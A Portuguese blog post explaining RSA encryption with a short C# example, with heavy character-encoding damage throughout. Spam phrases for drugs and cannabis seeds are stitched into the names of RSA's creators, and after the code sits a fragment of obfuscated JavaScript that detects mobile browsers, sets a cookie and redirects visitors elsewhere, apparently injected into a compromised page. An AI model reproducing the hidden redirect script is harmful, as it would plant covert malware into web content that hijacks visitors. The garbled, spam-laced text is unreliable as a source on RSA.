Encriptando e Decriptando usando o Algoritmo RSA

RSA Ai?? um algoritmo para encriptar e decriptar mensagens. Ele representa as iniciais dos sobrenomes dos seus criadores,que sA?o Ronald Paxil for eating disorders Rivest, Adi Cannabis seeds ottawa ontario Shamir and Leonard A Where to buy benfotiamine 150mg dleman.

RSA Ai?? um algoritmo que usa duas chaves diferentes, uma privada e uma pA?blica. Por essa razA?o, Ai?? um algoritmo assimAi??trico.

A chave pA?blica Ai?? usada para encriptar a mensagem e pode ser conhecida por qualquer um. A mensagem Ai?? encriptada com a chave pA?blica e somente pode ser decriptada com a chave privada, que precisa ser mantida segura.
Os mAi??todos usados nessa publicaAi??A?o automaticamente geram chaves pA?blicas e privadas, que podem ser persistidas em um container. Este container vai ter um nome identificado por vocA?.
Para encriptar uma mensagem, vocA? precisa setar o tamanho da chave e um nome para um container que vai persistir as chaves. E quando vocA? for decriptar a mensagem, o mesmo nome dado ao container para encriptaAi??A?o deve ser usado no mAi??todo de decriptaAi??A?o.

Encryption and decryption

using INdTFramework.Commons;
using System;
using System.Diagnostics;

// The name of the container.
string containerName = "mycontainer";

// Pass the message, the size of the keys, which must be greater than 448,
// less than 16384 and multiple of 8, and the name of the container.
// The return will be an array of bytes.
byte[] encrypted = EncryptionUtils.RSAEncrypt(".NET Framework", 1024, containerName);

// Pass the array of bytes which represents the encrypted message and
// the name of the container used to encrypt.
// The return will be the message that was encrypted.
string message = EncryptionUtils.RSADecrypt(encrypted, containerName);

Debug.WriteLine("Mensagem: " + message);
// Output: Mensagem: .NET Framework


RSA

O cA?digo fonte para esse e outros A?timos exemplos estA?o disponAi??veis para download noAi??Ai??CodePlex. r|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

1 Comment

  • PumaRachel 2014 Dez 24 / 07:43

    Obrigado pela informação útil. Necessidade de adicionar o seu blog para bookmarks

Leave a comment

  • 0.0